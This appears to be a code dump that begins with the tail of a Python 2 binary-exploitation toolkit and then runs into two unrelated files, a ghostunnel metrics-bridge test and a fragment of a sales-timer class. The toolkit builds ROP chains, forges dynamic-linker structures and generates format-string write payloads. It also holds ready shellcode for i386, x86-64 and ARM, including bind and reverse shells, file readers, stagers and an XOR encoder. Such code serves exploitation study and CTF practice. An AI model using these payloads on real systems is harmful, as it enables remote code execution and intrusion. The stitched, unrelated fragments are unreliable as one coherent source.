# Ubuntu clang version 3.0-6ubuntu3 (tags/RELEASE_30/final) (based on LLVM 3.0)
('\x4c\x89\xfa\x4c\x89\xf6\x44\x89\xef\x41\xff\x14\xdc\x48\x83\xc3\x01\x48\x39\xeb\x75\xea', '\x48\x8b\x5c\x24\x08\x48\x8b\x6c\x24\x10\x4c\x8b\x64\x24\x18\x4c\x8b\x6c\x24\x20\x4c\x8b\x74\x24\x28\x4c\x8b\x7c\x24\x30\x48\x83\xc4\x38\xc3', False),
# gcc (GCC) 4.4.7 20120313 (Red Hat 4.4.7-4)
('\x4c\x89\xfa\x4c\x89\xf6\x44\x89\xef\x41\xff\x14\xdc\x48\x83\xc3\x01\x48\x39\xeb\x72\xea', '\x48\x8b\x5c\x24\x08\x48\x8b\x6c\x24\x10\x4c\x8b\x64\x24\x18\x4c\x8b\x6c\x24\x20\x4c\x8b\x74\x24\x28\x4c\x8b\x7c\x24\x30\x48\x83\xc4\x38\xc3', False),
# gcc 4.8.2-19ubuntu1
('\x4c\x89\xea\x4c\x89\xf6\x44\x89\xff\x41\xff\x14\xdc\x48\x83\xc3\x01\x48\x39\xeb\x75\xea', '\x48\x8b\x5c\x24\x08\x48\x8b\x6c\x24\x10\x4c\x8b\x64\x24\x18\x4c\x8b\x6c\x24\x20\x4c\x8b\x74\x24\x28\x4c\x8b\x7c\x24\x30\x48\x83\xc4\x38\xc3', True),
# gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2
('\x4c\x89\xea\x4c\x89\xf6\x44\x89\xff\x41\xff\x14\xdc\x48\x83\xc3\x01\x48\x39\xeb\x75\xea', '\x48\x83\xc4\x08\x5b\x5d\x41\x5c\x41\x5d\x41\x5e\x41\x5f\xc3', True),
]
for chunk1, chunk2, _args_reversed in gadget_candidates:
try:
set_regs = self.gadget(chunk2)
call_ptr = self.gadget(chunk1 + chunk2)
args_reversed = _args_reversed
break
except ValueError:
pass
else:
raise Exception('gadget not found')
buf = self.p(set_regs)
for args in calls:
if len(args) > 4:
raise Exception('4th argument and latter should be set in advance')
elif args[1] >= (1<<32):
raise Exception("1st argument should be less than 2^32: %x" % args[1])
ptr = args.pop(0)
if isinstance(ptr, str):
ptr = self.got(ptr)
buf += self.junk()
buf += self.p([0, 1, ptr])
if not args_reversed:
for arg in args:
buf += self.p(arg)
buf += self.p(0) * (3-len(args))
else:
buf += self.p(0) * (3-len(args))
for arg in reversed(args):
buf += self.p(arg)
buf += self.p(call_ptr)
buf += self.junk()
if 'pivot' in kwargs:
buf += self.p(0)
buf += self.p(kwargs['pivot'] - self.wordsize)
buf += self.p(0) * 4
buf += self.p(self.gadget('leave'))
else:
buf += self.p(0) * 6
return buf
def dl_resolve_data(self, base, name):
jmprel = self.dynamic('JMPREL')
relaent = self.dynamic('RELAENT')
symtab = self.dynamic('SYMTAB')
syment = self.dynamic('SYMENT')
strtab = self.dynamic('STRTAB')
addr_reloc, padlen_reloc = self.align(base, jmprel, relaent)
addr_sym, padlen_sym = self.align(addr_reloc+relaent, symtab, syment)
addr_symstr = addr_sym + syment
r_info = (((addr_sym - symtab) / syment) << 32) | 0x7
st_name = addr_symstr - strtab
buf = self.fill(padlen_reloc)
buf += struct.pack('<QQQ', base, r_info, 0) # Elf64_Rela
buf += self.fill(padlen_sym)
buf += struct.pack('<IIQQ', st_name, 0x12, 0, 0) # Elf64_Sym
buf += self.string(name)
return buf
def dl_resolve_call(self, base, *args):
# prerequisite:
# 1) overwrite (link_map + 0x1c8) with NULL
# 2) set registers for arguments
if args:
raise Exception('arguments must be set to the registers beforehand')
jmprel = self.dynamic('JMPREL')
relaent = self.dynamic('RELAENT')
addr_reloc, padlen_reloc = self.align(base, jmprel, relaent)
reloc_offset = (addr_reloc - jmprel) / relaent
buf = self.p(self.plt())
buf += self.p(reloc_offset)
return buf
def syscall(self, number, *args):
arg_regs = ['rdi', 'rsi', 'rdx', 'r10', 'r8', 'r9']
buf = self.p([self.gadget('pop', 'rax'), number])
for arg_reg, arg in zip(arg_regs, args):
buf += self.p([self.gadget('pop', arg_reg), arg])
buf += self.p(self.gadget('syscall'))
return buf
def pivot(self, rsp):
buf = self.p([self.gadget('pop', 'rbp'), rsp-self.wordsize])
buf += self.p(self.gadget('leave'))
return buf
def retfill(self, size, buf=''):
buflen = size - len(buf)
assert buflen >= 0, "%d bytes over" % (-buflen,)
s = self.fill(buflen % self.wordsize)
s += self.p(self.gadget('ret')) * (buflen // self.wordsize)
return s
def list_gadgets(self):
print "%8s" % 'pop',
for i in range(6):
try:
self.gadget('pop', n=i+1)
print "\033[32m%d\033[m" % (i+1),
except ValueError:
print "\033[31m%d\033[m" % (i+1),
print
for keyword in ['pop', 'jmp', 'jmp_ptr', 'call', 'push', 'pivot']:
print "%8s" % keyword,
for reg in self.regs:
try:
self.gadget(keyword, reg)
print "\033[32m%s\033[m" % reg,
except ValueError:
print "\033[31m%s\033[m" % reg,
print
print "%8s" % 'etc',
for keyword in ['leave', 'ret', 'int3', 'int80', 'call_gs10', 'syscall', 'loop']:
try:
self.gadget(keyword)
print "\033[32m%s\033[m" % keyword,
except ValueError:
print "\033[31m%s\033[m" % keyword,
print
class ROP_ARM(ROP):
def pt(self, x):
if isinstance(x, str):
return (self(x) | 1)
else:
return self.p(x | 1)
def gadget(self, keyword, reg=None, n=1):
table = {
'pivot_r7': '\xbd\x46\x80\xbd', # mov sp, r7; pop {r7, pc}
'pivot_fp': '\x0b\xd0\xa0\xe1\x00\x88\xbd\xe8', # mov sp, fp; pop {fp, pc}
'pop_r0_3fp': '\xbd\xe8\x0f\x88', # ldmia.w sp!, {r0, r1, r2, r3, fp, pc}
'pop_r4_7': '\xf0\xbd', # pop {r4, r5, r6, r7, pc}
'svc0': '\x00\xdf', # svc 0
}
if keyword in table:
return self.search(table[keyword], xonly=True)
# search directly
return ROP.gadget(self, keyword)
def call_chain(self, *calls, **kwargs):
gadget_candidates = [
# gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
('\x30\x46\x39\x46\x42\x46\x01\x34\x98\x47\x4c\x45\xf6\xd1', '\xbd\xe8\xf8\x83', True),
# gcc (Ubuntu/Linaro 4.8.2-19ubuntu1) 4.8.2
('\x38\x46\x41\x46\x4a\x46\x98\x47\xb4\x42\xf6\xd1', '\xbd\xe8\xf8\x83', False),
]
for chunk1, chunk2, _is_4_6 in gadget_candidates:
try:
set_regs = self.gadget(chunk2)
call_reg = self.gadget(chunk1 + chunk2)
is_4_6 = _is_4_6
break
except ValueError:
pass
else:
raise Exception('gadget not found')
buf = self.pt(set_regs)
for args in calls:
if len(args) > 4:
raise Exception('4th argument and latter should be set in advance')
addr = args.pop(0)
if isinstance(addr, str):
addr = self.plt(addr)
if is_4_6:
buf += self.p(addr)
buf += self.p([0, 0])
for arg in args:
buf += self.p(arg)
buf += self.p(0) * (3-len(args))
buf += self.p(1)
buf += self.pt(call_reg)
else:
buf += self.p(addr)
buf += self.p([0, 0, 0])
for arg in args:
buf += self.p(arg)
buf += self.p(0) * (3-len(args))
buf += self.pt(call_reg)
if 'pivot' in kwargs:
try:
pivot_r7 = self.gadget('pivot_r7')
buf += self.p(0) * 4
buf += self.p(kwargs['pivot'] - self.wordsize)
buf += self.p(0) * 2
buf += self.pt(pivot_r7)
except ValueError:
buf += self.p(0) * 7
buf += self.pivot(kwargs['pivot'])
else:
buf += self.p(0) * 7
return buf
def syscall(self, number, *args):
args0_3, args4_6 = args[:4], args[4:7]
buf = self.pt(self.gadget('pop_r0_3fp'))
for arg in args0_3:
buf += self.p(arg)
buf += self.p(0) * (4-len(args0_3))
buf += self.p(0)
buf += self.pt(self.gadget('pop_r4_7'))
for arg in args4_6:
buf += self.p(arg)
buf += self.p(0) * (3-len(args4_6))
buf += self.p(number)
buf += self.pt(self.gadget('svc0'))
return buf
def pivot(self, rsp):
try:
addr = self.gadget('pivot_r7')
return self.p([addr+2, rsp-self.wordsize, addr])
except ValueError:
addr = self.gadget('pivot_fp')
return self.p([addr+4, rsp-self.wordsize, addr])
def list_gadgets(self):
print "%8s" % 'pivot',
for keyword in ['pivot_r7', 'pivot_fp']:
try:
self.gadget(keyword)
print "\033[32m%s\033[m" % keyword,
except ValueError:
print "\033[31m%s\033[m" % keyword,
print
print "%8s" % 'syscall',
for keyword in ['pop_r0_3fp', 'pop_r4_7', 'svc0']:
try:
self.gadget(keyword)
print "\033[32m%s\033[m" % keyword,
except ValueError:
print "\033[31m%s\033[m" % keyword,
print
class Shellcode(object):
_database = {
'i386': {
'noppairs': ['AI', 'BJ', 'CK', 'FN', 'GO'],
'exec_shell': '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80',
'exec_command': '\xeb\x29\x5e\x31\xc9\x8a\x0e\x46\x88\x2c\x0e\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe1\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x51\x53\x89\xe1\xcd\x80\xe8\xd2\xff\xff\xff',
'dup': '\x31\xd2\x8d\x5a${fd}\x8d\x4a\x02\x8d\x42\x3f\xcd\x80\x49\x7d\xf8',
'readfile': '\xeb\x2d\x5b\x31\xc9\x8a\x0b\x43\x88\x2c\x0b\x31\xc9\x8d\x41\x05\xcd\x80\x93\x91\x8d\x50\x01\xc1\xe2\x0c\x6a\x03\x58\xcd\x80\x92\x6a${fd}\x5b\x6a\x04\x58\xcd\x80\x31\xdb\x8d\x43\x01\xcd\x80\xe8\xce\xff\xff\xff',
'readdir': '\xeb\x41\x5b\x31\xc9\x8a\x0b\x43\x88\x2c\x0b\x31\xff\x31\xc9\x8d\x47\x05\xcd\x80\x93\x91\x8d\x57\x01\x8d\x47\x59\x60\xcd\x80\x87\xce\x85\xc0\x74\x17\x66\x8b\x56\x08\x8d\x4e\x0a\xc6\x04\x11\x0a\x42\x8d\x5f${fd}\x8d\x47\x04\xcd\x80\x61\xeb\xe0\x31\xdb\x8d\x47\x01\xcd\x80\xe8\xba\xff\xff\xff',
'read_stager': '\xeb\x0f\x59\x6a\x03\x58\x99\x89\xd3\x42\xc1\xe2\x0c\xcd\x80\xff\xe1\xe8\xec\xff\xff\xff',
'mmap_stager': '\x6a\x5a\x58\x99\x89\xd1\x42\xc1\xe2\x0c\x51\x6a\xff\x6a\x22\x6a\x07\x52\x51\x89\xe3\xcd\x80\x91\x93\x8d\x43\x03\xcd\x80\xff\xe1',
'alnum_stager': 'Yh3333k4dsFkDqG02DqH0D10u03P3H1o0j2B0207393s3q103a8P7l3j4s3B065k3O4N8N8O03',
'bind_shell': '\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x66\x68${port}\x66\x6a\x02\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80',
'reverse_shell': '\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68${host}\x66\x68${port}\x66\x6a\x02\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80',
'xor': '\xeb\x0f\x5e\x80\x36${key}\x74\x0e\x46\xeb\xf8${key}${key}${key}${key}${key}${key}\xe8\xec\xff\xff\xff',
},
'x86-64': {
'noppairs': ['PX', 'QY', 'RZ'],
'exec_shell': '\x6a\x3b\x58\x48\x99\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05',
'exec_command': '\xeb\x31\x5e\x48\x31\xc9\x8a\x0e\x48\xff\xc6\x88\x2c\x0e\x6a\x3b\x58\x48\x99\x52\x66\x68\x2d\x63\x48\x89\xe3\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x56\x53\x57\x48\x89\xe6\x0f\x05\xe8\xca\xff\xff\xff',
'dup': '\x6a${fd}\x5f\x6a\x02\x5e\x6a\x21\x58\x0f\x05\x48\xff\xce\x7d\xf6',
'readfile': '\xeb\x33\x5f\x48\x31\xc9\x8a\x0f\x48\xff\xc7\x88\x2c\x0f\x48\x31\xf6\x6a\x02\x58\x0f\x05\x48\x97\x48\x96\x6a\x01\x5a\x48\xc1\xe2\x0c\x0f\x05\x48\x92\x6a${fd}\x5f\x6a\x01\x58\x0f\x05\x48\x31\xff\x6a\x3c\x58\x0f\x05\xe8\xc8\xff\xff\xff',
'readdir': '\xeb\x57\x5f\x48\x31\xc9\x8a\x0f\x48\xff\xc7\x88\x2c\x0f\x48\x31\xf6\x6a\x02\x58\x0f\x05\x48\x97\x48\x96\x48\x31\xd2\x66\xf7\xd2\x6a\x4e\x58\x0f\x05\x48\x8b\x06\x48\x85\xc0\x74\x24\x66\x8b\x56\x10\x4c\x8d\x04\x16\x48\x83\xea\x14\x48\x8d\x76\x12\xc6\x04\x16\x0a\x48\xff\xc2\x6a${fd}\x5f\x6a\x01\x58\x0f\x05\x4c\x89\xc6\xeb\xd4\x48\x31\xff\x6a\x3c\x58\x0f\x05\xe8\xa4\xff\xff\xff',
'read_stager': '\xeb\x13\x5e\x48\x31\xff\x48\x8d\x57\x01\x48\xc1\xe2\x0c\x48\x31\xc0\x0f\x05\xff\xe6\xe8\xe8\xff\xff\xff',
'mmap_stager': '\x4d\x31\xc9\x6a\xff\x41\x58\x6a\x22\x41\x5a\x6a\x07\x5a\x49\x8d\x71\x01\x48\xc1\xe6\x0c\x48\x31\xff\x6a\x09\x58\x0f\x05\x48\x96\x48\x92\x48\x31\xc0\x0f\x05\xff\xe6',
'alnum_stager': 'h0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M367p0h1O0A8O7p5L2x01193i4m7k08144L7m1M3K043I3A8L4V8K0m',
'bind_shell': '\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\xba\xf2\xff${port}\x66\x83\xf2\xf0\x52\x48\x89\xe6\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05',
'reverse_shell': '\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x68${host}\x66\x68${port}\x66\x6a\x02\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05',
'xor': '\xeb\x0f\x5e\x80\x36${key}\x74\x0e\x48\xff\xc6\xeb\xf6${key}${key}${key}${key}\xe8\xec\xff\xff\xff',
},
'arm': {
'exec_shell': '\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\xc0\x46\x2f\x62\x69\x6e\x2f\x2f\x73\x68',
},
}
def __init__(self, arch):
if arch not in self._database:
raise Exception("unsupported architechture: %r" % arch)
self.arch = arch
def get(self, name, **kwargs):
if name not in self._database[self.arch]:
raise Exception("unsupported shellcode for %s architecture: %r" % (arch, name))
sc = self._database[self.arch][name]
for k, v in kwargs.iteritems():
sc = sc.replace("${%s}" % k, v)
return sc
def nopfill(self, code, size, buf=''):
noppairs = self.get('noppairs')
buflen = size - len(buf) - len(code)
assert buflen >= 0, "%d bytes over" % (-buflen,)
buf = ''
while len(buf) < buflen:
buf += random.choice(noppairs)
return buf[:buflen] + code
def exec_shell(self):
return self.get('exec_shell')
def exec_command(self, command):
return self.get('exec_command') + chr(len(command)) + command
def dup(self, code, fd):
return self.get('dup', fd=chr(fd)) + code
def readfile(self, path, fd=1):
return self.get('readfile', fd=chr(fd)) + chr(len(path)) + path
def readdir(self, path, fd=1):
return self.get('readdir', fd=chr(fd)) + chr(len(path)) + path
def read_stager(self):
return self.get('read_stager')
def mmap_stager(self):
return self.get('mmap_stager')
def alnum_stager(self, reg):
if self.arch == 'i386':
r = ['eax', 'ecx', 'edx', 'ebx', 'esi', 'edi', 'esi', 'edi'].index(reg)
return chr(0x50+r) + self.get('alnum_stager')
elif self.arch == 'x86-64':
r = ['rax', 'rcx', 'rdx', 'rbx', 'rsi', 'rdi', 'rsi', 'rdi', 'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15'].index(reg)
if r >= 8:
return '\x41' + chr(0x50+(r-8)) + self.get('alnum_stager')
else:
return chr(0x50+r) + self.get('alnum_stager')
else:
raise Exception("unsupported architecture: %r" % self.arch)
def bind_shell(self, port):
p = struct.pack('>H', port)
return self.get('bind_shell', port=p)
def reverse_shell(self, host, port):
addrinfo = socket.getaddrinfo(host, port, socket.AF_INET, socket.SOCK_STREAM)
h, p = addrinfo[0][4]
h = socket.inet_aton(h)
p = struct.pack('>H', p)
return self.get('reverse_shell', host=h, port=p)
def xor(self, code, badchars='\x00\t\n\v\f\r '):
for key in xrange(0x100):
decoder = self.get('xor', key=chr(key))
encoded_code = str(bytearray(c^key for c in bytearray(code)))
result = decoder + encoded_code + chr(key)
if all(c not in result for c in badchars):
return result
else:
raise Exception('xor key not found')
class FormatStr(object):
def __init__(self, offset=0):
# i386 only
self.offset = offset
def dump_stack(self, size, start=None):
buf = 'AAAA'
if start > 1:
i = start
while len(buf) < size:
buf += ".%%%d$x" % i
i += 1
else:
while len(buf) < size:
buf += '.%x'
return buf[:size]
def calc_offset(self, s):
return s.split('.').index('41414141')
def gets(self, addr):
buf = p32(addr)
buf += "%%%d$s" % self.offset
return buf
def write4(self, addr, value):
if addr % 0x10 == 0x8:
# skip \x0a
buf = p32([addr, addr+1, addr+3])
n = [value & 0xFF, (value >> 8) & 0xFFFF, (value >> 24) & 0xFF]
n[2] = ((n[2]-n[1]-1) % 0x100) + 1
n[1] = ((n[1]-n[0]-1) % 0x10000) + 1
n[0] = ((n[0]-len(buf)-1) % 0x100) + 1
buf += "%%%dc%%%d$hhn" % (n[0], self.offset)
buf += "%%%dc%%%d$hn" % (n[1], self.offset+1)
buf += "%%%dc%%%d$hhn" % (n[2], self.offset+2)
else:
buf = p32([addr, addr+1, addr+2, addr+3])
n = map(ord, p32(value))
n[3] = ((n[3]-n[2]-1) % 0x100) + 1
n[2] = ((n[2]-n[1]-1) % 0x100) + 1
n[1] = ((n[1]-n[0]-1) % 0x100) + 1
n[0] = ((n[0]-len(buf)-1) % 0x100) + 1
buf += "%%%dc%%%d$hhn" % (n[0], self.offset)
buf += "%%%dc%%%d$hhn" % (n[1], self.offset+1)
buf += "%%%dc%%%d$hhn" % (n[2], self.offset+2)
buf += "%%%dc%%%d$hhn" % (n[3], self.offset+3)
return buf
class Proc(object):
def __init__(self, *args, **kwargs):
self.timeout = kwargs.get('timeout', 0.1)
self.display = kwargs.get('display', False)
self.debug = kwargs.get('debug', False)
if 'host' in kwargs and 'port' in kwargs:
self.s = socket.create_connection((kwargs['host'], kwargs['port']))
else:
self.s = self.connect_process(args)
self.s.setblocking(0)
def connect_process(self, cmd):
def run_server(s, e, cmd):
c, addr = s.accept()
s.close()
try:
p = Popen(cmd, stdin=c, stdout=c, stderr=c, preexec_fn=lambda: os.setsid())
except Exception as err:
c.close()
e.set()
raise err
if self.debug:
raw_input("\x1b[32mpid %d is running, attach the debugger if needed. Hit enter key to continue...\x1b[0m" % p.pid)
e.set()
p.wait()
c.close()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('', 0)) # INADDR_ANY, INPORT_ANY
s.listen(1)
e = Event()
t = Thread(target=run_server, args=(s, e, cmd))
t.daemon = True
t.start()
c = socket.create_connection(s.getsockname())
e.wait()
return c
def write(self, s):
select.select([], [self.s], [])
self.s.sendall(s)
if self.display:
printable = re.sub(r'[^\s\x20-\x7e]', '.', s)
sys.stdout.write("\x1b[33m%s\x1b[0m" % printable) # yellow
sys.stdout.flush()
def read(self, size=-1, timeout=-1):
if size < 0:
chunk_size = 8192
buf = ''
while True:
chunk = self.read(chunk_size, timeout)
buf += chunk
if len(chunk) < chunk_size:
break
return buf
if timeout < 0:
timeout = self.timeout
buf = ''
while len(buf) < size:
rlist, wlist, xlist = select.select([self.s], [], [], timeout)
if not rlist:
break
chunk = self.s.recv(size-len(buf))
if not chunk:
break
buf += chunk
if self.display:
printable = re.sub(r'[^\s\x20-\x7e]', '.', buf)
sys.stdout.write("\x1b[36m%s\x1b[0m" % printable) # cyan
sys.stdout.flush()
return buf
def read_until(self, s):
buf = self.read(len(s), None)
while not buf.endswith(s):
buf += self.read(1, None)
return buf
def expect(self, regexp):
buf = ''
m = None
while not m:
buf += self.read(1, None)
m = re.search(regexp, buf)
return m
def readline(self):
return self.read_until('\n')
def writeline(self, s):
return self.write(s+'\n')
def shutdown(self, writeonly=False):
if writeonly:
self.s.shutdown(socket.SHUT_WR)
else:
self.s.shutdown(socket.SHUT_RDWR)
def close(self):
self.s.close()
def interact(self, shell_fd=None):
check_cmd = 'echo "\x1b[32mgot a shell!\x1b[0m"' # green
buf = self.read()
sys.stdout.write(buf)
if shell_fd is not None:
self.write(check_cmd + '\n')
sys.stdout.write(self.read())
self.write("exec /bin/sh <&%(fd)d >&%(fd)d 2>&%(fd)d\n" % {'fd': shell_fd})
t = Telnet()
t.sock = self.s
t.interact()
self.shutdown()
self.close()
@contextmanager
def listen(self, port=0, is_shell=False):
check_cmd = 'echo "\x1b[32mgot a shell!\x1b[0m"' # green
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('', port))
s.listen(1)
yield s.getsockname()
c, addr = s.accept()
s.close()
if is_shell:
c.sendall(check_cmd + '\n')
sys.stdout.write(c.recv(8192))
t = Telnet()
t.sock = c
t.interact()
c.close()
def pipe_output(self, *args):
p = Popen(args, stdin=self.s, stdout=PIPE)
stdout, stderr = p.communicate()
return stdout
def read_p64(self):
return p64(self.read(8, None))
def read_p32(self):
return p32(self.read(4, None))
def write_p64(self, s):
return self.write(p64(s))
def write_p32(self, s):
return self.write(p32(s))
class Pattern(object):
@classmethod
def generate(cls):
for x in xrange(0x41, 0x5b):
for y in xrange(0x61, 0x7b):
for z in xrange(0x30, 0x3a):
yield "%c%c%c" % (x, y, z)
@classmethod
def create(cls, size):
s = ''
for x in cls.generate():
s += x
if len(s) >= size:
return s[:size]
else:
raise Exception("size too large")
@classmethod
def offset(cls, s):
if s.startswith('0x'):
addr = int16(s)
if addr >> 32:
chunk = p64(addr)
else:
chunk = p32(addr)
else:
chunk = s
buf = ''
for x in cls.generate():
buf += x
try:
return buf.index(chunk)
except ValueError:
pass
else:
raise Exception("pattern not found")
class Asm(object):
cmd = {
'i386': {
'as': ['as', '--32', '--msyntax=intel', '--mnaked-reg', '-o'],
'objdump': ['objdump', '-M', 'intel', '-d'],
'objdump_binary': ['objdump', '-b', 'binary', '-m', 'i386', '-M', 'intel,i386', '-D'],
},
'x86-64': {
'as': ['as', '--64', '--msyntax=intel', '--mnaked-reg', '-o'],
'objdump': ['objdump', '-M', 'intel', '-d'],
'objdump_binary': ['objdump', '-b', 'binary', '-m', 'i386', '-M', 'intel,x86-64', '-D'],
},
'arm': {
'as': ['as', '-o'],
'objdump': ['objdump', '-d'],
'objdump_binary': ['objdump', '-b', 'binary', '-m', 'arm', '-D'],
},
'thumb': {
'as': ['as', '-mthumb', '-o'],
'objdump': ['objdump', '-M', 'force-thumb', '-d'],
'objdump_binary': ['objdump', '-b', 'binary', '-m', 'arm', '-M', 'force-thumb', '-D'],
},
}
@classmethod
def assemble(cls, s, arch):
if arch in cls.cmd:
cmd = cls.cmd[arch]
else:
raise Exception("unsupported architecture: %r" % arch)
with tempfile.NamedTemporaryFile(delete=False) as f:
p = Popen(cmd['as'] + [f.name], stdin=PIPE, stdout=PIPE, stderr=PIPE)
stdout, stderr = p.communicate(s+'\n')
if stderr:
return stderr
p = Popen(cmd['objdump'] + ['-w', f.name], stdout=PIPE)
stdout, stderr = p.communicate()
result = ''.join(stdout.splitlines(True)[7:])
os.remove(f.name)
return result
@classmethod
def disassemble(cls, blob, arch):
if arch in cls.cmd:
cmd = cls.cmd[arch]
else:
raise Exception("unsupported architecture: %r" % arch)
with tempfile.NamedTemporaryFile() as f:
f.write(blob)
f.flush()
if arch in ('arm', 'thumb'):
p = Popen(cmd['objdump_binary'] + ['-EB', '-w', f.name], stdout=PIPE)
else:
p = Popen(cmd['objdump_binary'] + ['-w', f.name], stdout=PIPE)
stdout, stderr = p.communicate()
result = ''.join(stdout.splitlines(True)[7:])
return result
def exit_with_usage(format_str):
print >>sys.stderr, format_str % sys.argv[0]
sys.exit(1)
if __name__ == '__main__':
if len(sys.argv) < 2:
exit_with_usage("Usage: python %s [checksec|pc|po|gadget|scan|sc|asm|objdump] ...")
cmd = sys.argv[1]
if cmd == 'checksec':
if len(sys.argv) < 3:
exit_with_usage("check security features\n\nUsage: python %s checksec FILE")
fpath = sys.argv[2]
ELF(fpath).checksec()
elif cmd == 'pc':
if len(sys.argv) < 3:
exit_with_usage("create Metasploit pattern\n\nUsage: python %s pc SIZE")
size = int(sys.argv[2])
print Pattern.create(size)
elif cmd == 'po':
if len(sys.argv) < 3:
exit_with_usage("calculate offset in Metasploit pattern\n\nUsage: python %s po <ADDRESS|STRING>")
print Pattern.offset(sys.argv[2])
elif cmd == 'gadget':
if len(sys.argv) < 3:
exit_with_usage("check availability of tiny gadgets\n\nUsage: python %s gadget FILE")
fpath = sys.argv[2]
ROP(fpath).list_gadgets()
elif cmd == 'scan':
if len(sys.argv) < 4:
exit_with_usage("grep the binary and disassemble from each index\n\nUsage: python %s scan REGEXP FILE")
regexp = sys.argv[2]
fpath = sys.argv[3]
ROP(fpath).scan_gadgets(regexp)
elif cmd == 'sc':
if len(sys.argv) < 3:
exit_with_usage("output shellcode as hexstring\n\nUsage: python %s sc ARCH/NAME [ARG...]")
arch, name = sys.argv[2].split('/', 1)
args = [int(x) if x.isdigit() else x for x in sys.argv[3:]]
s = getattr(Shellcode(arch), name).__call__(*args)
print ''.join("\\x%02x" % ord(x) for x in s)
elif cmd == 'asm':
if len(sys.argv) < 3:
exit_with_usage("assemble/disassemble input (i386/x86-64/arm/thumb2)\n\nUsage: python %s asm [-d] ARCH")
if sys.argv[2] == '-d' and len(sys.argv) > 3:
arch = sys.argv[3]
data = sys.stdin.read()
if re.search(r'^[\s\dA-Fa-f]*$', data):
data = ''.join(data.split()).decode('hex')
print Asm.disassemble(data, arch).rstrip()
else:
arch = sys.argv[2]
data = sys.stdin.read()
print Asm.assemble(data, arch).rstrip()
elif cmd == 'objdump':
if len(sys.argv) < 3:
exit_with_usage("disassemble with IDA-like annotations\n\nUsage: python %s objdump FILE")
fpath = sys.argv[2]
ELF(fpath).objdump()
else:
exit_with_usage("Usage: python %s [checksec|pc|po|gadget|scan|sc|asm|objdump] ...")
|
test-server-metrics-bridge.py | #!/usr/bin/env python3
# Creates a ghostunnel. Ensures that /_status endpoint works.
from subprocess import Popen
from common import *
import urllib.request, urllib.error, urllib.parse, socket, ssl, time, os, signal, json, http.server, threading
received_metrics = None
class FakeMetricsBridgeHandler(http.server.BaseHTTPRequestHandler):
def do_POST(self):
global received_metrics
print_ok("handling POST to fake bridge")
length = int(self.headers['Content-Length'])
received_metrics = json.loads(self.rfile.read(length).decode('utf-8'))
if __name__ == "__main__":
ghostunnel = None
try:
# create certs
root = RootCert('root')
root.create_signed_cert('server')
httpd = http.server.HTTPServer(('localhost',13080), FakeMetricsBridgeHandler)
server = threading.Thread(target=httpd.handle_request)
server.start()
# start ghostunnel
ghostunnel = run_ghostunnel(['server', '--listen={0}:13001'.format(LOCALHOST),
'--target={0}:13002'.format(LOCALHOST), '--keystore=server.p12',
'--cacert=root.crt', '--allow-ou=client', '--enable-pprof',
'--status={0}:{1}'.format(LOCALHOST, STATUS_PORT), '--metrics-interval=1s',
'--metrics-url=http://localhost:13080/post'])
# wait for metrics to post
for i in range(0, 10):
if received_metrics:
break
else:
# wait a little longer...
time.sleep(1)
if not received_metrics:
raise Exception("did not receive metrics from instance")
if type(received_metrics) != list:
raise Exception("ghostunnel metrics expected to be JSON list")
print_ok("OK")
finally:
terminate(ghostunnel)
|
biggest_sales.py | import threading
import random
import time
from app import models
class GetSales(object):
sale = random.randint(10, 30000)
finished = False
def __init__(self):
thread = threading.Thread(target=self.run, args=())
thread.daemon = True # Daemonize thread
thread.start() # Start the execution
def run(self):
print "starting the timer {}".format(time.time())
start_time = time.time()
self.sale = self.biggest_sale(models.Produs)['id']
print time.time() - start_time
